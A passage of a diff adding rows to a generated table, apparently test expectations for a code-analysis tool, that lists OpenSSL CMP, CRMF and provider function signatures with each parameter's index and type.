*,unsigned char **) | | i2d_OSSL_ATTRIBUTES_SYNTAX | 1 | unsigned char ** | +| (const OSSL_ATTRIBUTE_DESCRIPTOR *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_DESCRIPTOR | 0 | const OSSL_ATTRIBUTE_DESCRIPTOR * | +| (const OSSL_ATTRIBUTE_DESCRIPTOR *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_DESCRIPTOR | 1 | unsigned char ** | +| (const OSSL_ATTRIBUTE_MAPPING *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_MAPPING | 0 | const OSSL_ATTRIBUTE_MAPPING * | +| (const OSSL_ATTRIBUTE_MAPPING *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_MAPPING | 1 | unsigned char ** | +| (const OSSL_ATTRIBUTE_MAPPINGS *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_MAPPINGS | 0 | const OSSL_ATTRIBUTE_MAPPINGS * | +| (const OSSL_ATTRIBUTE_MAPPINGS *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_MAPPINGS | 1 | unsigned char ** | +| (const OSSL_ATTRIBUTE_TYPE_MAPPING *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_TYPE_MAPPING | 0 | const OSSL_ATTRIBUTE_TYPE_MAPPING * | +| (const OSSL_ATTRIBUTE_TYPE_MAPPING *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_TYPE_MAPPING | 1 | unsigned char ** | +| (const OSSL_ATTRIBUTE_VALUE_MAPPING *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_VALUE_MAPPING | 0 | const OSSL_ATTRIBUTE_VALUE_MAPPING * | +| (const OSSL_ATTRIBUTE_VALUE_MAPPING *,unsigned char **) | | i2d_OSSL_ATTRIBUTE_VALUE_MAPPING | 1 | unsigned char ** | +| (const OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *,unsigned char **) | | i2d_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX | 0 | const OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX * | +| (const OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *,unsigned char **) | | i2d_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX | 1 | unsigned char ** | +| (const OSSL_BASIC_ATTR_CONSTRAINTS *,unsigned char **) | | i2d_OSSL_BASIC_ATTR_CONSTRAINTS | 0 | const OSSL_BASIC_ATTR_CONSTRAINTS * | +| (const OSSL_BASIC_ATTR_CONSTRAINTS *,unsigned char **) | | i2d_OSSL_BASIC_ATTR_CONSTRAINTS | 1 | unsigned char ** | +| (const OSSL_CMP_ATAV *) | | OSSL_CMP_ATAV_get0_algId | 0 | const OSSL_CMP_ATAV * | +| (const OSSL_CMP_ATAV *) | | OSSL_CMP_ATAV_get0_type | 0 | const OSSL_CMP_ATAV * | +| (const OSSL_CMP_ATAV *) | | OSSL_CMP_ATAV_get0_value | 0 | const OSSL_CMP_ATAV * | +| (const OSSL_CMP_ATAVS *,unsigned char **) | | i2d_OSSL_CMP_ATAVS | 0 | const OSSL_CMP_ATAVS * | +| (const OSSL_CMP_ATAVS *,unsigned char **) | | i2d_OSSL_CMP_ATAVS | 1 | unsigned char ** | +| (const OSSL_CMP_CAKEYUPDANNCONTENT *,unsigned char **) | | i2d_OSSL_CMP_CAKEYUPDANNCONTENT | 0 | const OSSL_CMP_CAKEYUPDANNCONTENT * | +| (const OSSL_CMP_CAKEYUPDANNCONTENT *,unsigned char **) | | i2d_OSSL_CMP_CAKEYUPDANNCONTENT | 1 | unsigned char ** | +| (const OSSL_CMP_CERTIFIEDKEYPAIR *,unsigned char **) | | i2d_OSSL_CMP_CERTIFIEDKEYPAIR | 0 | const OSSL_CMP_CERTIFIEDKEYPAIR * | +| (const OSSL_CMP_CERTIFIEDKEYPAIR *,unsigned char **) | | i2d_OSSL_CMP_CERTIFIEDKEYPAIR | 1 | unsigned char ** | +| (const OSSL_CMP_CERTORENCCERT *,unsigned char **) | | i2d_OSSL_CMP_CERTORENCCERT | 0 | const OSSL_CMP_CERTORENCCERT * | +| (const OSSL_CMP_CERTORENCCERT *,unsigned char **) | | i2d_OSSL_CMP_CERTORENCCERT | 1 | unsigned char ** | +| (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 0 | const OSSL_CMP_CERTREPMESSAGE * | +| (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | int | +| (const OSSL_CMP_CERTREPMESSAGE *,unsigned char **) | | i2d_OSSL_CMP_CERTREPMESSAGE | 0 | const OSSL_CMP_CERTREPMESSAGE * | +| (const OSSL_CMP_CERTREPMESSAGE *,unsigned char **) | | i2d_OSSL_CMP_CERTREPMESSAGE | 1 | unsigned char ** | +| (const OSSL_CMP_CERTREQTEMPLATE *,unsigned char **) | | i2d_OSSL_CMP_CERTREQTEMPLATE | 0 | const OSSL_CMP_CERTREQTEMPLATE * | +| (const OSSL_CMP_CERTREQTEMPLATE *,unsigned char **) | | i2d_OSSL_CMP_CERTREQTEMPLATE | 1 | unsigned char ** | +| (const OSSL_CMP_CERTRESPONSE *,unsigned char **) | | i2d_OSSL_CMP_CERTRESPONSE | 0 | const OSSL_CMP_CERTRESPONSE * | +| (const OSSL_CMP_CERTRESPONSE *,unsigned char **) | | i2d_OSSL_CMP_CERTRESPONSE | 1 | unsigned char ** | +| (const OSSL_CMP_CERTSTATUS *,unsigned char **) | | i2d_OSSL_CMP_CERTSTATUS | 0 | const OSSL_CMP_CERTSTATUS * | +| (const OSSL_CMP_CERTSTATUS *,unsigned char **) | | i2d_OSSL_CMP_CERTSTATUS | 1 | unsigned char ** | +| (const OSSL_CMP_CHALLENGE *,unsigned char **) | | i2d_OSSL_CMP_CHALLENGE | 0 | const OSSL_CMP_CHALLENGE * | +| (const OSSL_CMP_CHALLENGE *,unsigned char **) | | i2d_OSSL_CMP_CHALLENGE | 1 | unsigned char ** | +| (const OSSL_CMP_CRLSOURCE *,unsigned char **) | | i2d_OSSL_CMP_CRLSOURCE | 0 | const OSSL_CMP_CRLSOURCE * | +| (const OSSL_CMP_CRLSOURCE *,unsigned char **) | | i2d_OSSL_CMP_CRLSOURCE | 1 | unsigned char ** | +| (const OSSL_CMP_CRLSTATUS *,DIST_POINT_NAME **,GENERAL_NAMES **,ASN1_TIME **) | | OSSL_CMP_CRLSTATUS_get0 | 0 | const OSSL_CMP_CRLSTATUS * | +| (const OSSL_CMP_CRLSTATUS *,DIST_POINT_NAME **,GENERAL_NAMES **,ASN1_TIME **) | | OSSL_CMP_CRLSTATUS_get0 | 1 | DIST_POINT_NAME ** | +| (const OSSL_CMP_CRLSTATUS *,DIST_POINT_NAME **,GENERAL_NAMES **,ASN1_TIME **) | | OSSL_CMP_CRLSTATUS_get0 | 2 | GENERAL_NAMES ** | +| (const OSSL_CMP_CRLSTATUS *,DIST_POINT_NAME **,GENERAL_NAMES **,ASN1_TIME **) | | OSSL_CMP_CRLSTATUS_get0 | 3 | ASN1_TIME ** | +| (const OSSL_CMP_CRLSTATUS *,unsigned char **) | | i2d_OSSL_CMP_CRLSTATUS | 0 | const OSSL_CMP_CRLSTATUS * | +| (const OSSL_CMP_CRLSTATUS *,unsigned char **) | | i2d_OSSL_CMP_CRLSTATUS | 1 | unsigned char ** | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get0_geninfo_ITAVs | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get0_libctx | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get0_newCert | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get0_propq | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get0_statusString | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get0_trustedStore | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get0_untrusted | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get0_validatedSrvCert | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get1_caPubs | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get1_extraCertsIn | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get1_newChain | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get_certConf_cb_arg | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get_failInfoCode | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get_http_cb_arg | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get_status | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | OSSL_CMP_CTX_get_transfer_cb_arg | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *) | | ossl_cmp_ctx_get0_newPubkey | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *,char *,size_t) | | OSSL_CMP_CTX_snprint_PKIStatus | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *,char *,size_t) | | OSSL_CMP_CTX_snprint_PKIStatus | 1 | char * | +| (const OSSL_CMP_CTX *,char *,size_t) | | OSSL_CMP_CTX_snprint_PKIStatus | 2 | size_t | +| (const OSSL_CMP_CTX *,const OSSL_CMP_CERTRESPONSE *) | | ossl_cmp_certresponse_get1_cert | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *,const OSSL_CMP_CERTRESPONSE *) | | ossl_cmp_certresponse_get1_cert | 1 | const OSSL_CMP_CERTRESPONSE * | +| (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | int | +| (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 0 | const OSSL_CMP_CTX * | +| (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | int | +| (const OSSL_CMP_ERRORMSGCONTENT *,unsigned char **) | | i2d_OSSL_CMP_ERRORMSGCONTENT | 0 | const OSSL_CMP_ERRORMSGCONTENT * | +| (const OSSL_CMP_ERRORMSGCONTENT *,unsigned char **) | | i2d_OSSL_CMP_ERRORMSGCONTENT | 1 | unsigned char ** | +| (const OSSL_CMP_ITAV *) | | OSSL_CMP_ITAV_dup | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *) | | OSSL_CMP_ITAV_get0_type | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *) | | OSSL_CMP_ITAV_get0_value | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **) | | OSSL_CMP_ITAV_get1_certReqTemplate | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **) | | OSSL_CMP_ITAV_get1_certReqTemplate | 1 | OSSL_CRMF_CERTTEMPLATE ** | +| (const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **) | | OSSL_CMP_ITAV_get1_certReqTemplate | 2 | OSSL_CMP_ATAVS ** | +| (const OSSL_CMP_ITAV *,X509 **) | | OSSL_CMP_ITAV_get0_rootCaCert | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *,X509 **) | | OSSL_CMP_ITAV_get0_rootCaCert | 1 | X509 ** | +| (const OSSL_CMP_ITAV *,stack_st_ASN1_UTF8STRING **) | | OSSL_CMP_ITAV_get0_certProfile | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *,stack_st_ASN1_UTF8STRING **) | | OSSL_CMP_ITAV_get0_certProfile | 1 | stack_st_ASN1_UTF8STRING ** | +| (const OSSL_CMP_ITAV *,stack_st_OSSL_CMP_CRLSTATUS **) | | OSSL_CMP_ITAV_get0_crlStatusList | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *,stack_st_OSSL_CMP_CRLSTATUS **) | | OSSL_CMP_ITAV_get0_crlStatusList | 1 | stack_st_OSSL_CMP_CRLSTATUS ** | +| (const OSSL_CMP_ITAV *,stack_st_X509 **) | | OSSL_CMP_ITAV_get0_caCerts | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *,stack_st_X509 **) | | OSSL_CMP_ITAV_get0_caCerts | 1 | stack_st_X509 ** | +| (const OSSL_CMP_ITAV *,stack_st_X509_CRL **) | | OSSL_CMP_ITAV_get0_crls | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *,stack_st_X509_CRL **) | | OSSL_CMP_ITAV_get0_crls | 1 | stack_st_X509_CRL ** | +| (const OSSL_CMP_ITAV *,unsigned char **) | | i2d_OSSL_CMP_ITAV | 0 | const OSSL_CMP_ITAV * | +| (const OSSL_CMP_ITAV *,unsigned char **) | | i2d_OSSL_CMP_ITAV | 1 | unsigned char ** | +| (const OSSL_CMP_KEYRECREPCONTENT *,unsigned char **) | | i2d_OSSL_CMP_KEYRECREPCONTENT | 0 | const OSSL_CMP_KEYRECREPCONTENT * | +| (const OSSL_CMP_KEYRECREPCONTENT *,unsigned char **) | | i2d_OSSL_CMP_KEYRECREPCONTENT | 1 | unsigned char ** | +| (const OSSL_CMP_MSG *) | | OSSL_CMP_MSG_dup | 0 | const OSSL_CMP_MSG * | +| (const OSSL_CMP_MSG *) | | OSSL_CMP_MSG_get0_header | 0 | const OSSL_CMP_MSG * | +| (const OSSL_CMP_MSG *) | | OSSL_CMP_MSG_get_bodytype | 0 | const OSSL_CMP_MSG * | +| (const OSSL_CMP_MSG *) | | valid_asn1_encoding | 0 | const OSSL_CMP_MSG * | +| (const OSSL_CMP_MSG *,unsigned char **) | | i2d_OSSL_CMP_MSG | 0 | const OSSL_CMP_MSG * | +| (const OSSL_CMP_MSG *,unsigned char **) | | i2d_OSSL_CMP_MSG | 1 | unsigned char ** | +| (const OSSL_CMP_PKIBODY *,unsigned char **) | | i2d_OSSL_CMP_PKIBODY | 0 | const OSSL_CMP_PKIBODY * | +| (const OSSL_CMP_PKIBODY *,unsigned char **) | | i2d_OSSL_CMP_PKIBODY | 1 | unsigned char ** | +| (const OSSL_CMP_PKIHEADER *) | | OSSL_CMP_HDR_get0_geninfo_ITAVs | 0 | const OSSL_CMP_PKIHEADER * | +| (const OSSL_CMP_PKIHEADER *) | | OSSL_CMP_HDR_get0_recipNonce | 0 | const OSSL_CMP_PKIHEADER * | +| (const OSSL_CMP_PKIHEADER *) | | OSSL_CMP_HDR_get0_transactionID | 0 | const OSSL_CMP_PKIHEADER * | +| (const OSSL_CMP_PKIHEADER *) | | ossl_cmp_hdr_get0_senderNonce | 0 | const OSSL_CMP_PKIHEADER * | +| (const OSSL_CMP_PKIHEADER *) | | ossl_cmp_hdr_get_pvno | 0 | const OSSL_CMP_PKIHEADER * | +| (const OSSL_CMP_PKIHEADER *,unsigned char **) | | i2d_OSSL_CMP_PKIHEADER | 0 | const OSSL_CMP_PKIHEADER * | +| (const OSSL_CMP_PKIHEADER *,unsigned char **) | | i2d_OSSL_CMP_PKIHEADER | 1 | unsigned char ** | +| (const OSSL_CMP_PKISI *) | | OSSL_CMP_PKISI_dup | 0 | const OSSL_CMP_PKISI * | +| (const OSSL_CMP_PKISI *) | | ossl_cmp_pkisi_get0_statusString | 0 | const OSSL_CMP_PKISI * | +| (const OSSL_CMP_PKISI *) | | ossl_cmp_pkisi_get_status | 0 | const OSSL_CMP_PKISI * | +| (const OSSL_CMP_PKISI *,char *,size_t) | | OSSL_CMP_snprint_PKIStatusInfo | 0 | const OSSL_CMP_PKISI * | +| (const OSSL_CMP_PKISI *,char *,size_t) | | OSSL_CMP_snprint_PKIStatusInfo | 1 | char * | +| (const OSSL_CMP_PKISI *,char *,size_t) | | OSSL_CMP_snprint_PKIStatusInfo | 2 | size_t | +| (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 0 | const OSSL_CMP_PKISI * | +| (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | int | +| (const OSSL_CMP_PKISI *,unsigned char **) | | i2d_OSSL_CMP_PKISI | 0 | const OSSL_CMP_PKISI * | +| (const OSSL_CMP_PKISI *,unsigned char **) | | i2d_OSSL_CMP_PKISI | 1 | unsigned char ** | +| (const OSSL_CMP_POLLREP *,unsigned char **) | | i2d_OSSL_CMP_POLLREP | 0 | const OSSL_CMP_POLLREP * | +| (const OSSL_CMP_POLLREP *,unsigned char **) | | i2d_OSSL_CMP_POLLREP | 1 | unsigned char ** | +| (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 0 | const OSSL_CMP_POLLREPCONTENT * | +| (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | int | +| (const OSSL_CMP_POLLREQ *,unsigned char **) | | i2d_OSSL_CMP_POLLREQ | 0 | const OSSL_CMP_POLLREQ * | +| (const OSSL_CMP_POLLREQ *,unsigned char **) | | i2d_OSSL_CMP_POLLREQ | 1 | unsigned char ** | +| (const OSSL_CMP_PROTECTEDPART *,unsigned char **) | | i2d_OSSL_CMP_PROTECTEDPART | 0 | const OSSL_CMP_PROTECTEDPART * | +| (const OSSL_CMP_PROTECTEDPART *,unsigned char **) | | i2d_OSSL_CMP_PROTECTEDPART | 1 | unsigned char ** | +| (const OSSL_CMP_REVANNCONTENT *,unsigned char **) | | i2d_OSSL_CMP_REVANNCONTENT | 0 | const OSSL_CMP_REVANNCONTENT * | +| (const OSSL_CMP_REVANNCONTENT *,unsigned char **) | | i2d_OSSL_CMP_REVANNCONTENT | 1 | unsigned char ** | +| (const OSSL_CMP_REVDETAILS *,unsigned char **) | | i2d_OSSL_CMP_REVDETAILS | 0 | const OSSL_CMP_REVDETAILS * | +| (const OSSL_CMP_REVDETAILS *,unsigned char **) | | i2d_OSSL_CMP_REVDETAILS | 1 | unsigned char ** | +| (const OSSL_CMP_REVREPCONTENT *,unsigned char **) | | i2d_OSSL_CMP_REVREPCONTENT | 0 | const OSSL_CMP_REVREPCONTENT * | +| (const OSSL_CMP_REVREPCONTENT *,unsigned char **) | | i2d_OSSL_CMP_REVREPCONTENT | 1 | unsigned char ** | +| (const OSSL_CMP_ROOTCAKEYUPDATE *,unsigned char **) | | i2d_OSSL_CMP_ROOTCAKEYUPDATE | 0 | const OSSL_CMP_ROOTCAKEYUPDATE * | +| (const OSSL_CMP_ROOTCAKEYUPDATE *,unsigned char **) | | i2d_OSSL_CMP_ROOTCAKEYUPDATE | 1 | unsigned char ** | +| (const OSSL_CMP_SRV_CTX *) | | OSSL_CMP_SRV_CTX_get0_cmp_ctx | 0 | const OSSL_CMP_SRV_CTX * | +| (const OSSL_CMP_SRV_CTX *) | | OSSL_CMP_SRV_CTX_get0_custom_ctx | 0 | const OSSL_CMP_SRV_CTX * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *) | | OSSL_LIB_CTX_new_child | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *) | | OSSL_LIB_CTX_new_child | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *) | | OSSL_LIB_CTX_new_from_dispatch | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *) | | OSSL_LIB_CTX_new_from_dispatch | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | OSSL_provider_init | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | OSSL_provider_init | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | OSSL_provider_init | 2 | const OSSL_DISPATCH ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | OSSL_provider_init | 3 | void ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | filter_provider_init | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | filter_provider_init | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | filter_provider_init | 2 | const OSSL_DISPATCH ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | filter_provider_init | 3 | void ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_base_provider_init | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_base_provider_init | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_base_provider_init | 2 | const OSSL_DISPATCH ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_base_provider_init | 3 | void ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_default_provider_init | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_default_provider_init | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_default_provider_init | 2 | const OSSL_DISPATCH ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_default_provider_init | 3 | void ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_legacy_provider_init | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_legacy_provider_init | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_legacy_provider_init | 2 | const OSSL_DISPATCH ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_legacy_provider_init | 3 | void ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_null_provider_init | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_null_provider_init | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_null_provider_init | 2 | const OSSL_DISPATCH ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_null_provider_init | 3 | void ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | p_test_init | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | p_test_init | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | p_test_init | 2 | const OSSL_DISPATCH ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | p_test_init | 3 | void ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | tls_provider_init | 0 | const OSSL_CORE_HANDLE * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | tls_provider_init | 1 | const OSSL_DISPATCH * | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | tls_provider_init | 2 | const OSSL_DISPATCH ** | +| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | tls_provider_init | 3 | void ** | +| (const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *) | | OSSL_CRMF_ATTRIBUTETYPEANDVALUE_dup | 0 | const OSSL_CRMF_ATTRIBUTETYPEANDVALUE * | +| (const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *,unsigned char **) | | i2d_OSSL_CRMF_ATTRIBUTETYPEANDVALUE | 0 | const OSSL_CRMF_ATTRIBUTETYPEANDVALUE * | +| (const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *,unsigned char **) | | i2d_OSSL_CRMF_ATTRIBUTETYPEANDVALUE | 1 | unsigned char ** | +| (const OSSL_CRMF_CERTID *) | | OSSL_CRMF_CERTID_dup | 0 | const OSSL_CRMF_CERTID * | +| (const OSSL_CRMF_CERTID *) | | OSSL_CRMF_CERTID_get0_serialNumber | 0 | const OSSL_CRMF_CERTID * | +| (const OSSL_CRMF_CERTID *,unsigned char **) | | i2d_OSSL_CRMF_CERTID | 0 | const OSSL_CRMF_CERTID * | +| (const OSSL_CRMF_CERTID *,unsigned char **) | | i2d_OSSL_CRMF_CERTID | 1 | unsigned char ** | +| (const OSSL_CRMF_CERTREQUEST *) | | OSSL_CRMF_CERTREQUEST_dup | 0 | const OSSL_CRMF_CERTREQUEST * | +| (const OSSL_CRMF_CERTREQUEST *,unsigned char **) | | i2d_OSSL_CRMF_CERTREQUEST | 0 | const OSSL_CRMF_CERTREQUEST * | +| (const OSSL_CRMF_CERTREQUEST *,unsigned char **) | | i2d_OSSL_CRMF_CERTREQUEST | 1 | unsigned char ** | +| (const OSSL_CRMF_CERTTEMPLATE *) | | OSSL_CRMF_CERTTEMPLATE_dup | 0 | const OSSL_CRMF_CERTTEMPLATE * | +| (const OSSL_CRMF_CERTTEMPLATE *) | | OSSL_CRMF_CERTTEMPLATE_get0_extensions | 0 | const OSSL_CRMF_CERTTEMPLATE * | +| (const OSSL_CRMF_CERTTEMPLATE *) | | OSSL_CRMF_CERTTEMPLATE_get0_issuer | 0 | const OSSL_CRMF_CERTTEMPLATE * | +| (const OSSL_CRMF_CERTTEMPLATE *) | | OSSL_CRMF_CERTTEMPLATE_get0_publicKey | 0 | const OSSL_CRMF_CERTTEMPLATE * | +| (const OSSL_CRMF_CERTTEMPLATE *) | | OSSL_CRMF_CERTTEMPLATE_get0_serialNumber | 0 | const OSSL_CRMF_CERTTEMPLATE * | +| (const OSSL_CRMF_CERTTEMPLATE *) | | OSSL_CRMF_CERTTEMPLATE_get0_subject | 0 | const OSSL_CRMF_CERTTEMPLATE * | +| (const OSSL_CRMF_CERTTEMPLATE *,unsigned char **) | | i2d_OSSL_CRMF_CERTTEMPLATE | 0 | const OSSL_CRMF_CERTTEMPLATE * | +| (const OSSL_CRMF_CERTTEMPLATE *,unsigned char **) | | i2d_OSSL_CRMF_CERTTEMPLATE | 1 | unsigned char ** | +| (const OSSL_CRMF_ENCKEYWITHID *,unsigned char **) | | i2d_OSSL_CRMF_ENCKEYWITHID | 0 | const OSSL_CRMF_ENCKEYWITHID * | +| (const OSSL_CRMF_ENCKEYWITHID *,unsigned char **) | | i2d_OSSL_CRMF_ENCKEYWITHID | 1 | unsigned char ** | +| (const OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *,unsigned char **) | | i2d_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER | 0 | const OSSL_CRMF_ENCKEYWITHID_IDENTIFIER * | +| (const OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *,unsigned char **) | | i2d_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER | 1 | unsigned char ** | +| (const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int) | | OSSL_CRMF_ENCRYPTEDKEY_get1_encCert | 0 | const OSSL_CRMF_ENCRYPTEDKEY * | +| (const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int) | | OSSL_CRMF_ENCRYPTEDKEY_get1_encCert | 1 | OSSL_LIB_CTX * | +| (const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int) | | OSSL_CRMF_ENCRYPTEDKEY_get1_encCert | 2 | const char * | +| (const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int) | | OSSL_CRMF_ENCRYPTEDKEY_get1_encCert | 3 | EVP_PKEY 